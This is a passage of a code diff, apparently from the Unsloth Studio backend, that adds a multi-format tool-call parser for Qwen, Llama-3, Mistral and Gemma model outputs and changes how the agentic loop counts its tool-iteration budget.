@@ -509,6 +629,9 @@ def run_safetensors_tool_loop(
 
         if tool_calls:
             next_call_id += len(tool_calls)
+            # Strip a leading bare-JSON call so it isn't replayed as text or next-turn history
+            # (``_strip_tool_markup_final`` only knows XML). No-op for plain JSON answers.
+            content_text = strip_leading_bare_json_call(content_text, _enabled_tool_names)
 
         if final_attempt_done:
             # Final-answer turn re-called a tool -- stop the loop.
@@ -634,6 +757,8 @@ def run_safetensors_tool_loop(
             completion = tool_controller.record_result(decision, result)
             if provisional_match:
                 provisional_resolved = True
+            # A tool ran this turn, so it counts against the caller's budget.
+            _turn_executed_real_tool = True
             yield completion.tool_end_event()
             conversation.append(completion.tool_message())
 
@@ -646,7 +771,10 @@ def run_safetensors_tool_loop(
         if not unrestricted_tools and not tool_controller.active_tools():
             final_attempt_done = True
             continue
-        if iteration + 1 >= max_tool_iterations and not final_attempt_done:
+        # Count only real tool turns against the cap so a no-op turn doesn't consume budget (GGUF parity).
+        if _turn_executed_real_tool:
+            _executed_tool_iters += 1
+        if _executed_tool_iters >= max_tool_iterations and not final_attempt_done:
             # Budget exhausted; nudge a final plain answer.
             final_attempt_done = True
             conversation.append({"role": "user", "content": BUDGET_EXHAUSTED_NUDGE})
diff --git a/studio/backend/core/inference/tool_call_parser.py b/studio/backend/core/inference/tool_call_parser.py
index ca3d1e4cbc..c31f4b272e 100644
--- a/studio/backend/core/inference/tool_call_parser.py
+++ b/studio/backend/core/inference/tool_call_parser.py
@@ -2,39 +2,74 @@
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
 """
-Backend-neutral tool-call XML parser shared by GGUF and safetensors.
-Tolerates missing closing tags in either ``<tool_call>{json}</tool_call>``
-or ``<function=name><parameter=k>v...`` shape.
+Backend-neutral tool-call parser shared by GGUF, safetensors, and MLX, so the
+safetensors + MLX agentic loop sees the same call shape llama-server gives GGUF:
+
+  - ``<tool_call>{json}</tool_call>``           (Qwen / Hermes)
+  - ``<function=name><parameter=k>v</parameter></function>``  (Qwen3.5 xml)
+  - ``<|python_tag|>NAME.call(k="v", ...)``     (Llama-3 built-in tools)
+  - ``<|python_tag|>{"name":..., "parameters":...}``  (Llama-3 custom)
+  - ``{"name":..., "parameters":...}``          (Llama-3.2 bare JSON)
+  - ``[TOOL_CALLS] [{...}, ...]``               (Mistral v0.3 / Nemo / Small)
+  - ``[TOOL_CALLS]name{json}``                  (Mistral v11+ / Magistral)
+  - ``[TOOL_CALLS]name[ARGS]{json}``            (Ministral / Mistral Large 3)
+  - ``<|tool_call>call:NAME{k:<|"|>v<|"|>}<tool_call|>``  (Gemma 4)
+
+Missing closing tags / brackets are tolerated: models often truncate mid-stream.
 """
 
+# Keeps PEP 604 `X | None` lazy for python 3.9 (imported standalone by external servers).
+from __future__ import annotations
+
+import json
+import re
+from typing import Any, Optional
+
+# Shared parser handles Qwen/Hermes, Qwen3.5 XML, Gemma 4; this module adds Llama-3, Mistral, bare JSON.
 from core import tool_healing as _tool_healing
 
 
-_TOOL_ALL_PATS = _tool_healing._TOOL_ALL_PATS
+# Flip the streaming buffer STREAMING->DRAINING so partial markup never leaks.
+TOOL_XML_SIGNALS = (
+    "<tool_call>",
+    "<function=",
+    '<function name="',
+    "<|python_tag|>",
+    "[TOOL_CALLS]",
+    "<|tool_call>",
+)
 
 
-def parse_tool_calls_from_text(
-    content: str,
-    *,
-    id_offset: int = 0,
-    allow_incomplete: bool = True,
-) -> list[dict]:
-    return _tool_healing.parse_tool_calls_from_text(
-        content,
-        id_offset = id_offset,
-        allow_incomplete = allow_incomplete,
-    )
+# Closed pairs only (mid-stream); _TOOL_ALL_PATS eats unclosed tails at end-of-turn.
+_TOOL_CLOSED_PATS = [
+    re.compile(r"<tool_call>.*?</tool_call>", re.DOTALL),
+    # Match to the real ``</function>`` (lookahead, not greedy ``.*``) so a literal
+    # ``</function>`` in a value doesn't truncate and each call stays separate.
+    re.compile(
+        r'<function(?:=[\w.\-]+|\s+name="[\w.\-]+")>'
+        r'(?:(?!<function(?:=[\w.\-]+|\s+name="[\w.\-]+")>).)*'
+        r"</function>",
+        re.DOTALL,
+    ),
+    re.compile(r"<\|tool_call>.*?<tool_call\|>", re.DOTALL),
+]
+_TOOL_ALL_PATS = _TOOL_CLOSED_PATS + [
+    re.compile(r"<tool_call>.*$", re.DOTALL),
+    re.compile(r'<function(?:=[\w.\-]+|\s+name="[\w.\-]+")>.*$', re.DOTALL),
+    # Bare-word markers drop a trailing truncated call only when the next chars look like
+    # a call start, so prose mentioning the marker is kept; a marker at end-of-text drops.
+    re.compile(r"<\|tool_call>(?=\s*call\s*:|\s*$).*$", re.DOTALL),
+    re.compile(
+        r"\[TOOL_CALLS\](?=\s*(?:[\[{]|[A-Za-z_][\w.\-]*[\[{])|\s*$).*$",
+        re.DOTALL,
+    ),
+    re.compile(
+        r"<\|python_tag\|>(?=\s*(?:\{|[A-Za-z_][\w.]*\()|\s*$).*$",
+        re.DOTALL,
+    ),
+]
 
 
-def strip_tool_markup(text: str, *, final: bool = False) -> str:
-    return _tool_healing.strip_tool_call_markup(text, final = final)
-
-
-# Prefixes the streaming buffer watches for to gate in-progress text.
-TOOL_XML_SIGNALS = ("<tool_call>", "<|tool_call>", "<function=")
-
-
-# Nudges + error prefixes shared by the GGUF and safetensors loops.
 TOOL_ERROR_PREFIXES = (
     "Error",
     "Search failed",
@@ -80,6 +115,1355 @@ RAG_SEARCH_CAP_NUDGE = (
 )
 
 
+# Qwen / Hermes ``<tool_call>{json}``.
+_TC_JSON_START_RE = re.compile(r"<tool_call>\s*\{")
+# Qwen3.5 ``<function=name>`` plus attribute form ``<function name="name">`` (MiniCPM-5,
+# MiniMax-M2); name in group(1) or group(2).
+_TC_FUNC_START_RE = re.compile(r'<function(?:=([\w\.\-]+)|\s+name="([\w\.\-]+)")>\s*')
+# Body ends at ``</tool_call>`` or ``</function>`` so trailing prose stays out of args.
+_TC_END_TAG_RE = re.compile(r"</(?:tool_call|function)>")
+_TC_FUNC_CLOSE_RE = re.compile(r"\s*</function>\s*$")
+# Horizontal whitespace only so the wrapping newline + indent survive (``_trim_param_value``
+# trims one newline), preserving code indent.
+_TC_PARAM_START_RE = re.compile(
+    r'<(?:parameter|param)(?:=([\w\.\-]+)|\s+name="([\w\.\-]+)")>[^\S\n]*'
+)
+_TC_PARAM_CLOSE_RE = re.compile(r"\s*</(?:parameter|param)>\s*$")
+
+# Llama-3 ``<|python_tag|>NAME.call(...)``.
+_LLAMA3_PYTHON_TAG = "<|python_tag|>"
+_LLAMA3_PY_CALL_RE = re.compile(
+    r"<\|python_tag\|>\s*([\w\.\-]+)\s*\.\s*call\s*\(",
+)
+# Anchored at the char after ``<|python_tag|>`` plus the ``; NAME.call(`` chain sep, so
+# a ``.call(`` inside JSON args is ignored.
+_LLAMA3_PY_CALL_HEAD_RE = re.compile(r"\s*([\w\.\-]+)\s*\.\s*call\s*\(")
+_LLAMA3_CALL_CHAIN_RE = re.compile(r"\s*;\s*([\w\.\-]+)\s*\.\s*call\s*\(")
+# ``.call(k=v)`` kwarg tokens, hand-scanned below (not finditer) to stay linear on a
+# truncated body (ReDoS).
+_LLAMA3_KEY_RE = re.compile(r"\w+")
+_LLAMA3_WS_RE = re.compile(r"\s*")
+# ints, decimals, sci notation; trailing ``(?![\w.])`` stops ``1.2.3`` truncating to ``1.2``.
+_LLAMA3_NUM_RE = re.compile(r"-?(?:\d+(?:\.\d*)?|\.\d+)(?:[eE][+-]?\d+)?(?![\w.])")
+_LLAMA3_LIT_RE = re.compile(r"true|false|null")
+
+# Mistral ``[TOOL_CALLS]`` trigger. v11+ chains ``name{json}`` (Magistral) or
+# ``name[ARGS]{json}`` (Ministral / Large 3).
+_MISTRAL_TRIGGER = "[TOOL_CALLS]"
+_MISTRAL_ARGS_MARKER = "[ARGS]"
+# Mistral Small 3.2 emits ``name[CALL_ID]<id>[ARGS]{json}`` (absent on Ministral / Magistral).
+_MISTRAL_CALL_ID_MARKER = "[CALL_ID]"
+# Magistral wraps reasoning in ``[THINK]...[/THINK]``; a ``[TOOL_CALLS]`` inside is not a real call.
+_MISTRAL_THINK_OPEN = "[THINK]"
+_MISTRAL_THINK_CLOSE = "[/THINK]"
+_MISTRAL_V11_NAME_RE = re.compile(r"\s*([\w\.\-]+)\s*")
+
+# Gemma 4: ``<|tool_call>call:NAME{...}<tool_call|>``, ``<|"|>`` wraps strings.
+_GEMMA_TC_RE = re.compile(r"<\|tool_call>\s*call\s*:\s*([\w\.\-]+)\s*\{")
+_GEMMA_STR_BEGIN = '<|"|>'
+_GEMMA_STR_END = '<|"|>'
+_GEMMA_TC_END = "<tool_call|>"
+
+
+def _balanced_bracket_end(text: str, start: int) -> int | None:
+    """Index of the ``]`` matching ``[`` at ``text[start]`` (ignores brackets in JSON strings)."""
+    if start >= len(text) or text[start] != "[":
+        return None
+    depth = 0
+    in_string = False
+    esc = False
+    i = start
+    while i < len(text):
+        ch = text[i]
+        if in_string:
+            if esc:
+                esc = False
+            elif ch == "\\":
+                esc = True
+            elif ch == '"':
+                in_string = False
+        else:
+            if ch == '"':
+                in_string = True
+            elif ch == "[":
+                depth += 1
+            elif ch == "]":
+                depth -= 1
+                if depth == 0:
+                    return i
+        i += 1
+    return None
+
+
+def _skip_mistral_call_id(text: str, pos: int) -> int:
+    """Skip an optional ``[CALL_ID]<id>`` (Mistral Small 3.2); return the next token pos."""
+    n = len(text)
+    i = pos
+    while i < n and text[i] in " \t\n\r":
+        i += 1
+    if not text.startswith(_MISTRAL_CALL_ID_MARKER, i):
+        return pos
+    i += len(_MISTRAL_CALL_ID_MARKER)
+    while i < n and text[i] in " \t\n\r":
+        i += 1
+    # The id is a short opaque token; stop at whitespace or the next marker.
+    while i < n and text[i] not in " \t\n\r[{":
+        i += 1
+    while i < n and text[i] in " \t\n\r":
+        i += 1
+    return i
+
+
+def _strip_mistral_reasoning(content: str) -> str:
+    """Drop a leading Magistral ``[THINK]`` block so rehearsed calls inside reasoning are not promoted; unclosed drops to EOF."""
+    i = 0
+    n = len(content)
+    while i < n and content[i] in " \t\n\r":
+        i += 1
+    if not content.startswith(_MISTRAL_THINK_OPEN, i):
+        return content
+    close = content.find(_MISTRAL_THINK_CLOSE, i + len(_MISTRAL_THINK_OPEN))
+    if close == -1:
+        return content[:i]
+    return content[:i] + content[close + len(_MISTRAL_THINK_CLOSE) :]
+
+
+def _strip_mistral_closed_calls(text: str) -> str:
+    """Strip cleanly-closed ``[TOOL_CALLS]`` blocks via balanced scanning (a non-greedy regex would truncate nested JSON); unclosed runs wait for ``final=True``."""
+    n = len(text)
+    out = []
+    cursor = 0
+    while cursor < n:
+        idx = text.find(_MISTRAL_TRIGGER, cursor)
+        if idx == -1:
+            out.append(text[cursor:])
+            break
+        out.append(text[cursor:idx])
+        body_start = idx + len(_MISTRAL_TRIGGER)
+        i = body_start
+        while i < n and text[i] in " \t\n\r":
+            i += 1
+        # Array shape: ``[TOOL_CALLS] [...]``.
+        if i < n and text[i] == "[":
+            end = _balanced_bracket_end(text, i)
+            if end is None:
+                # Truncated; let caller buffer / final-strip.
+                out.append(text[idx:])
+                break
+            cursor = end + 1
+            if text.startswith("</s>", cursor):
+                cursor += len("</s>")
+            continue
+        # Single-object shape ``[TOOL_CALLS] { json }``: the parser accepts it, so strip it too.
+        if i < n and text[i] == "{":
+            end = _balanced_brace_end(text, i)
+            if end is None:
+                out.append(text[idx:])
+                break
+            cursor = end + 1
+            if text.startswith("</s>", cursor):
+                cursor += len("</s>")
+            continue
+        # Named shape: ``[TOOL_CALLS] name [ARGS]? { json }``.
+        name_match = _MISTRAL_V11_NAME_RE.match(text, i)
+        if not name_match:
+            out.append(text[idx:body_start])
+            cursor = body_start
+            continue
+        i = name_match.end()
+        while i < n and text[i] in " \t\n\r":
+            i += 1
+        i = _skip_mistral_call_id(text, i)
+        if text.startswith(_MISTRAL_ARGS_MARKER, i):
+            i += len(_MISTRAL_ARGS_MARKER)
+            while i < n and text[i] in " \t\n\r":
+                i += 1
+        if i >= n or text[i] != "{":
+            out.append(text[idx:i])
+            cursor = i
+            continue
+        end = _balanced_brace_end(text, i)
+        if end is None:
+            out.append(text[idx:])
+            break
+        cursor = end + 1
+        # Consume the optional EOS marker so ``...{json}</s>`` doesn't leave ``</s>`` as content.
+        if text.startswith("</s>", cursor):
+            cursor += len("</s>")
+    return "".join(out)
+
+
+_FUNC_CLOSE_TAG_RE = re.compile(r"</function>")
+
+
+def _strip_function_xml_calls(text: str, *, final: bool) -> str:
+    """Strip ``<function=...>`` calls by mirroring the parser: an opener inside an open ``<parameter>`` is data and each call closes at its first ``</function>`` that is not parameter data; ``final`` drops a trailing unclosed call."""
+    starts = [
+        m for m in _TC_FUNC_START_RE.finditer(text) if not _inside_open_parameter(text, m.start())
+    ]
+    if not starts:
+        return text
+    out: list[str] = []
+    pos = 0
+    for idx, m in enumerate(starts):
+        if m.start() < pos:
+            continue  # opener already inside a previously consumed call span
+        out.append(text[pos : m.start()])
+        next_start = starts[idx + 1].start() if idx + 1 < len(starts) else len(text)
+        close = None
+        for cm in _FUNC_CLOSE_TAG_RE.finditer(text, m.end(), next_start):
+            if not _inside_open_parameter(text, cm.start()):
+                close = cm  # first close that is not parameter data = the real close
+                break
+        if close is not None:
+            pos = close.end()
+        elif final:
+            pos = len(text)  # trailing unclosed call -- drop to EOF
+        else:
+            out.append(text[m.start() :])  # keep the unclosed call buffered mid-stream
+            pos = len(text)
+            break
+    out.append(text[pos:])
+    return "".join(out)
+
+
+def strip_tool_markup(text: str, *, final: bool = False) -> str:
+    """Strip tool-call markup; ``final=True`` also drops trailing unclosed runs and trims."""
+    if final:
+        # End-of-turn only: drop a leading Magistral ``[THINK]...[/THINK]`` block (bracket form,
+        # not the ``<think>`` reasoning channel) so raw reasoning doesn't leak into display/history.
+        text = _strip_mistral_reasoning(text)
+    text = _strip_mistral_closed_calls(text)
+    # Scan-strip the function-XML form first (parser-accurate: a literal ``<function=...>`` in
+    # a value is data, not a call); the regex arms below cover the other formats.
+    text = _strip_function_xml_calls(text, final = final)
+    pats = _TOOL_ALL_PATS if final else _TOOL_CLOSED_PATS
+    for pat in pats:
+        text = pat.sub("", text)
+    return text.strip() if final else text
+
+
 def has_tool_signal(text: str) -> bool:
-    """Return True if ``text`` contains any tool-call XML signal."""
     return any(s in text for s in TOOL_XML_SIGNALS)
+
+
+def _mistral_region_end(text: str, idx: int) -> int | None:
+    """Exclusive end of the balanced ``[TOOL_CALLS]`` call at ``idx``, or ``None`` when truncated (array, object, and named forms)."""
+    n = len(text)
+    i = idx + len(_MISTRAL_TRIGGER)
+    while i < n and text[i] in " \t\n\r":
+        i += 1
+    if i < n and text[i] == "[":
+        end = _balanced_bracket_end(text, i)
+        return None if end is None else end + 1
+    if i < n and text[i] == "{":
+        end = _balanced_brace_end(text, i)
+        return None if end is None else end + 1
+    name_match = _MISTRAL_V11_NAME_RE.match(text, i)
+    if not name_match:
+        return None
+    i = name_match.end()
+    while i < n and text[i] in " \t\n\r":
+        i += 1
+    i = _skip_mistral_call_id(text, i)
+    if text.startswith(_MISTRAL_ARGS_MARKER, i):
+        i += len(_MISTRAL_ARGS_MARKER)
+        while i < n and text[i] in " \t\n\r":
+            i += 1
+    if i >= n or text[i] != "{":
+        return None
+    end = _balanced_brace_end(text, i)
+    return None if end is None else end + 1
+
+
+def _xml_signal_inside_leading_mistral(content: str) -> bool:
+    """True when a parseable Mistral call is the first tool emission in document order: it owns the turn, so later XML (quoted in its arguments or in trailing prose) is not promoted over it. A signal BEFORE the trigger keeps normal order."""
+    trig = content.find(_MISTRAL_TRIGGER)
+    if trig < 0:
+        return False
+    first_xml = _first_foreign_tool_signal(content)
+    if first_xml is not None and first_xml < trig:
+        return False
+    # Only plain prose precedes the trigger (preamble-tolerant); prose merely mentioning
+    # the marker has no parseable region and keeps the normal order.
+    return _mistral_region_end(content, trig) is not None
+
+
+_ATTR_FUNC_OPEN_RE = re.compile(r'<function\s+name="')
+
+
+def _first_foreign_tool_signal(content: str) -> int | None:
+    """Offset of the first signal a non-envelope parser would fire on (XML forms plus the Llama-3 ``<|python_tag|>`` marker)."""
+    first = None
+    for sig in ("<tool_call>", "<|tool_call>", "<function=", "<|python_tag|>"):
+        p = content.find(sig)
+        if p >= 0 and (first is None or p < first):
+            first = p
+    attr = _ATTR_FUNC_OPEN_RE.search(content)
+    if attr is not None and (first is None or attr.start() < first):
+        first = attr.start()
+    return first
+
+
+def _xml_signal_inside_leading_bare_json(content: str) -> bool:
+    """True when the first foreign signal sits inside a LEADING bare-JSON call's balanced body: quoted argument data, so the bare-JSON parser takes the outer call first."""
+    i = 0
+    n = len(content)
+    while i < n and content[i] in " \t\n\r":
+        i += 1
+    if i >= n or content[i] != "{":
+        return False
+    end = _balanced_brace_end(content, i)
+    if end is None:
+        return False
+    if _top_level_bare_json_name(content[i : end + 1]) is None:
+        # Not a call object, but a nameless object that parses as real JSON is an envelope
+        # too (markup in its strings is data); non-JSON braced prose keeps the old behaviour.
+        try:
+            json.loads(content[i : end + 1])
+        except ValueError:
+            return False
+    first_xml = _first_foreign_tool_signal(content)
+    # The Mistral trigger is foreign to a JSON envelope too, so fold it into first_xml.
+    trig = content.find(_MISTRAL_TRIGGER)
+    if trig >= 0 and (first_xml is None or trig < first_xml):
+        first_xml = trig
+    # Inside the balanced body the signal is quoted argument data, so the leading call owns
+    # the turn; a non-call object takes the decline path (dropped, only the tail parsed).
+    return first_xml is not None and i < first_xml
+
+
+def parse_tool_calls_from_text(
+    content: str,
+    *,
+    id_offset: int = 0,
+    allow_incomplete: bool = True,
+    enabled_tool_names: Optional[set] = None,
+) -> list[dict]:
+    """Return OpenAI-format tool calls, first-match wins. ``allow_incomplete`` heals truncated calls (``False`` = strict closed-only); ``enabled_tool_names`` gates the markerless bare-JSON form."""
+    # Drop Magistral reasoning before any dispatch so a rehearsed call inside
+    # [THINK]...[/THINK] is not promoted; keeps the parse path aligned with the display strip.
+    content = _strip_mistral_reasoning(content)
+
+    # A leading bare-JSON value is decided FIRST so markup quoted in its arguments stays
+    # data. Must precede the Mistral guard, whose preamble tolerance would else claim a
+    # trigger quoted inside the leading object.
+    if _xml_signal_inside_leading_bare_json(content):
+        calls = _parse_llama3_bare_json(
+            content, id_offset = id_offset, enabled_tool_names = enabled_tool_names
+        )
+        if calls:
+            return calls
+        # Disabled/example name: the leading object is ordinary content. Drop it and parse
+        # only the tail -- a real call after it still parses, nothing inside it is promoted.
+        i = 0
+        while i < len(content) and content[i] in " \t\n\r":
+            i += 1
+        end = _balanced_brace_end(content, i)  # guard guarantees a balanced object
+        return parse_tool_calls_from_text(
+            content[end + 1 :],
+            id_offset = id_offset,
+            allow_incomplete = allow_incomplete,
+            enabled_tool_names = enabled_tool_names,
+        )
+
+    # A [TOOL_CALLS] call that is the first tool emission owns the turn: XML quoted in its
+    # arguments or in trailing prose is not promoted, and a plain-prose preface keeps it.
+    if _xml_signal_inside_leading_mistral(content):
+        calls = _parse_mistral_tool_calls(
+            content, id_offset = id_offset, allow_incomplete = allow_incomplete
+        )
+        if calls:
+            return calls
+
+    # A leading MiniCPM/MiniMax ``<function name="...">`` call owns the turn: tool_healing
+    # does not know the wrapper, so gate it here. A signal before the opener keeps normal order.
+    attr = _ATTR_FUNC_OPEN_RE.search(content)
+    if attr is not None:
+        first_other = None
+        for sig in (
+            "<tool_call>",
+            "<|tool_call>",
+            "<function=",
+            "<|python_tag|>",
+            _MISTRAL_TRIGGER,
+        ):
+            p = content.find(sig)
+            if p >= 0 and (first_other is None or p < first_other):
+                first_other = p
+        if first_other is None or attr.start() < first_other:
+            calls = _parse_function_xml(
+                content, id_offset = id_offset, allow_incomplete = allow_incomplete
+            )
+            if calls:
+                return calls
+
+    # A leading Llama-3 ``<|python_tag|>`` call owns the turn like the others: markup quoted
+    # in a ``.call(...)`` argument is not promoted. tool_healing does not know the tag, so
+    # gate it here. A foreign signal before the tag keeps normal order.
+    py_tag = content.find(_LLAMA3_PYTHON_TAG)
+    if py_tag >= 0:
+        first_other = None
+        for sig in ("<tool_call>", "<|tool_call>", "<function=", _MISTRAL_TRIGGER):
+            p = content.find(sig)
+            if p >= 0 and (first_other is None or p < first_other):
+                first_other = p
+        attr = _ATTR_FUNC_OPEN_RE.search(content)
+        if attr is not None and (first_other is None or attr.start() < first_other):
+            first_other = attr.start()
+        if first_other is None or py_tag < first_other:
+            calls = _parse_llama3_python_tag(
+                content, id_offset = id_offset, allow_incomplete = allow_incomplete
+            )
+            if calls:
+                return calls
+
+    # Qwen/Hermes, Qwen3.5 XML, and Gemma 4 use the shared tool_healing parser (the
+    # strict/Auto-Heal + nested-marker + ``<|"|>`` handling GGUF relies on).
+    calls = _tool_healing.parse_tool_calls_from_text(
+        content,
+        id_offset = id_offset,
+        allow_incomplete = allow_incomplete,
+    )
+    if calls:
+        return calls
+
+    # Formats tool_healing does not cover: ``<function name="...">`` (MiniCPM-5 / MiniMax-M2),
+    # Llama-3 and Mistral. Run only after tool_healing found nothing, so a strict-rejected
+    # call is never re-healed here.
+    for parser in (
+        _parse_function_xml,  # <function name="..."> attribute form
+        _parse_llama3_python_tag,  # Llama-3 <|python_tag|>
+        _parse_mistral_tool_calls,  # Mistral [TOOL_CALLS]
+    ):
+        calls = parser(content, id_offset = id_offset, allow_incomplete = allow_incomplete)
+        if calls:
+            return calls
+
+    # Llama-3.2 bare ``{"name":..., "parameters":...}``. Strict (starts with ``{``
+    # and parses to the right shape) so plain prose stays untouched.
+    return _parse_llama3_bare_json(
+        content, id_offset = id_offset, enabled_tool_names = enabled_tool_names
+    )
+
+
+def _parse_tool_call_json(
+    content: str,
+    *,
+    id_offset: int,
+    allow_incomplete: bool = True,
+) -> list[dict]:
+    out: list[dict] = []
+    for m in _TC_JSON_START_RE.finditer(content):
+        brace_start = m.end() - 1
+        end = _balanced_brace_end(content, brace_start)
+        if end is None:
+            continue
+        # Strict mode: a balanced body that never closed its ``<tool_call>`` is truncated
+        # (trailing prose after the close is still tolerated).
+        if not allow_incomplete and not content[end + 1 :].lstrip().startswith("</tool_call>"):
+            continue
+        try:
+            obj = json.loads(content[brace_start : end + 1])
+        except (json.JSONDecodeError, ValueError):
+            continue
+        name = obj.get("name", "")
+        # Accept both ``arguments`` (Hermes/Qwen) and ``parameters`` (Llama-3 drift).
+        args = obj.get("arguments")
+        if args is None:
+            args = obj.get("parameters", {})
+        if isinstance(args, dict):
+            args_str = json.dumps(args)
+        elif isinstance(args, str):
+            args_str = args
+        else:
+            args_str = json.dumps({"value": args})
+        if not name:
+            continue
+        out.append(
+            {
+                "id": f"call_{id_offset + len(out)}",
+                "type": "function",
+                "function": {"name": name, "arguments": args_str},
+            }
+        )
+    return out
+
+
+def _trim_param_value(val: str) -> str:
+    """Trim only the template's wrapping newline around an XML parameter value; ``str.strip()`` destroyed code/diff indentation."""
+    if val.startswith("\n"):
+        val = val[1:]
+    if val.endswith("\n"):
+        val = val[:-1]
+    return val
+
+
+def _inside_open_parameter(text: str, pos: int) -> bool:
+    """True if ``pos`` is inside an unclosed ``<parameter>`` block, i.e. the opener at ``pos`` is literal argument data, not a nested call."""
+    last_param_open = -1
+    for m in _TC_PARAM_START_RE.finditer(text, 0, pos):
+        last_param_open = m.start()
+    if last_param_open < 0:
+        return False
+    # The parameter's OWN close tag decides: if it closes after ``pos`` the position is
+    # argument data (even across literal ``</function>``); an unclosed one falls back to func close.
+    own_closes = [
+        c
+        for c in (
+            text.find("</parameter>", last_param_open),
+            text.find("</param>", last_param_open),
+        )
+        if c >= 0
+    ]
+    if own_closes:
+        return min(own_closes) > pos
+    func_closes = [
+        c
+        for c in (
+            text.find("</function>", last_param_open),
+            text.find("</tool_call>", last_param_open),
+        )
+        if c >= 0
+    ]
+    return not func_closes or pos < min(func_closes)
+
+
+def _parse_function_xml(
+    content: str,
+    *,
+    id_offset: int,
+    allow_incomplete: bool = True,
+) -> list[dict]:
+    out: list[dict] = []
+    # Skip ``<function ...>`` openers that are literals inside an open parameter value,
+    # else the nested marker becomes a second call and truncates the real argument.
+    func_starts = [
+        fm
+        for fm in _TC_FUNC_START_RE.finditer(content)
+        if not _inside_open_parameter(content, fm.start())
+    ]
+    for idx, fm in enumerate(func_starts):
+        # group(1) is ``<function=name>``, group(2) is ``<function name="...">``.
+        func_name = fm.group(1) or fm.group(2)
+        body_start = fm.end()
+        next_func = func_starts[idx + 1].start() if idx + 1 < len(func_starts) else len(content)
+        # The call ends at the FIRST </function> / </tool_call> not inside an open parameter:
+        # a literal close in an argument is skipped as data, prose after the real close is not
+        # folded in (mirrors _strip_function_xml_calls).
+        close_match = None
+        for cm in _TC_END_TAG_RE.finditer(content, body_start, next_func):
+            if not _inside_open_parameter(content, cm.start()):
+                close_match = cm
+                break
+        has_close = close_match is not None
+        if has_close:
+            body_end = close_match.start()
+        else:
+            body_end = min(len(content), next_func)
+        # Strict mode: a call that never reached its close is truncated; do not heal it.
+        if not allow_incomplete and not has_close:
+            continue
+        body = _TC_FUNC_CLOSE_RE.sub("", content[body_start:body_end])
+
+        args: dict = {}
+        param_unclosed = False
+        # Same nested-literal guard: a ``<parameter>`` opener inside an open value is literal text.
+        param_starts = [
+            pm
+            for pm in _TC_PARAM_START_RE.finditer(body)
+            if not _inside_open_parameter(body, pm.start())
+        ]
+        if len(param_starts) == 1:
+            pm = param_starts[0]
+            raw_val = body[pm.end() :]
+            if not _TC_PARAM_CLOSE_RE.search(raw_val):
+                param_unclosed = True
+            val = _TC_PARAM_CLOSE_RE.sub("", raw_val)
+            args[pm.group(1) or pm.group(2)] = _trim_param_value(val)
+        else:
+            for pidx, pm in enumerate(param_starts):
+                val_start = pm.end()
+                next_param = (
+                    param_starts[pidx + 1].start() if pidx + 1 < len(param_starts) else len(body)
+                )
+                raw_val = body[val_start:next_param]
+                if not _TC_PARAM_CLOSE_RE.search(raw_val):
+                    param_unclosed = True
+                val = _TC_PARAM_CLOSE_RE.sub("", raw_val)
+                args[pm.group(1) or pm.group(2)] = _trim_param_value(val)
+
+        # Strict mode: every parameter must close; a dangling one means the call was cut off.
+        # A closed call with no parameters is a valid zero-argument call, so keep it.
+        if not allow_incomplete and param_unclosed:
+            continue
+
+        out.append(
+            {
+                "id": f"call_{id_offset + len(out)}",
+                "type": "function",
+                "function": {"name": func_name, "arguments": json.dumps(args)},
+            }
+        )
+    return out
+
+
+def _llama3_kv_value(body: str, p: int, n: int) -> tuple[Any, int | None]:
+    """One ``.call`` value at ``body[p:]``; returns ``(value, len)`` or ``(None, None)``."""
+    if p >= n:
+        return None, None
+    if body[p] == '"':
+        # ``"((?:\\.|[^"\\])*)"`` by hand so an unterminated quote is O(n), not O(n^2).
+        j = p + 1
+        while j < n:
+            c = body[j]
+            if c == "\\":
+                # ``\\.`` needs a following non-newline char; else the body can't match.
+                if j + 1 >= n or body[j + 1] == "\n":
+                    return None, None
+                j += 2
+                continue
+            if c == '"':
+                raw = body[p + 1 : j]
+                # json.loads keeps \n/\uXXXX escapes and literal UTF-8 (emoji/CJK) intact.
+                try:
+                    return json.loads('"' + raw + '"'), j + 1 - p
+                except (json.JSONDecodeError, ValueError):
+                    return raw, j + 1 - p
+            j += 1
+        return None, None  # unterminated
+    nm = _LLAMA3_NUM_RE.match(body, p)
+    if nm:
+        v = nm.group(0)
+        # Sci notation and decimals decode as float; a bare integer stays int.
+        return (float(v) if any(c in v for c in ".eE") else int(v)), nm.end() - p
+    lm = _LLAMA3_LIT_RE.match(body, p)
+    if lm:
+        return {"true": True, "false": False, "null": None}[lm.group(0)], lm.end() - p
+    return None, None
+
+
+def _parse_llama3_kv_args(body: str) -> dict[str, Any]:
+    """Left-to-right ``k=v`` kwargs from a ``.call(...)`` body (linear scan; later keys win)."""
+    args: dict[str, Any] = {}
+    n = len(body)
+    i = 0
+    while i < n:
+        km = _LLAMA3_KEY_RE.match(body, i)
+        if km is None:
+            i += 1
+            continue
+        p = _LLAMA3_WS_RE.match(body, km.end()).end()
+        if p >= n or body[p] != "=":
+            i = km.end()
+            continue
+        p = _LLAMA3_WS_RE.match(body, p + 1).end()
+        val, length = _llama3_kv_value(body, p, n)
+        if length is None:
+            i = km.end()
+            continue
+        args[km.group(0)] = val
+        i = p + length
+    return args
+
+
+def _parse_llama3_python_tag(
+    content: str,
+    *,
+    id_offset: int,
+    allow_incomplete: bool = True,
+) -> list[dict]:
+    """Parse Llama-3 ``<|python_tag|>`` emissions: ``NAME.call(...)``, bare JSON, ``; `` multi-call, ``parameters``/``arguments`` keys."""
+    out: list[dict] = []
+    if _LLAMA3_PYTHON_TAG not in content:
+        return out
+
+    # 1. ``NAME.call(...)`` built-in form, anchored to ``<|python_tag|>`` (optionally
+    #    ``; ``-chained) so a ``.call(...)`` inside a JSON string argument isn't mistaken for one.
+    pos = content.find(_LLAMA3_PYTHON_TAG)
+    truncated = False
+    while pos >= 0 and not truncated:
+        head = _LLAMA3_PY_CALL_HEAD_RE.match(content, pos + len(_LLAMA3_PYTHON_TAG))
+        if head is None:
+            # Tag is the custom JSON form (``{...}``) or noise -- leave it to step 2.
+            break
+        name = head.group(1)
+        open_idx = head.end()
+        i = open_idx
+        while True:
+            i = open_idx
+            depth = 1
+            in_string = False
+            esc = False
+            while i < len(content) and depth > 0:
+                ch = content[i]
+                if in_string:
+                    if esc:
+                        esc = False
+                    elif ch == "\\":
+                        esc = True
+                    elif ch == '"':
+                        in_string = False
+                else:
+                    if ch == '"':
+                        in_string = True
+                    elif ch == "(":
+                        depth += 1
+                    elif ch == ")":
+                        depth -= 1
+                        if depth == 0:
+                            break
+                i += 1
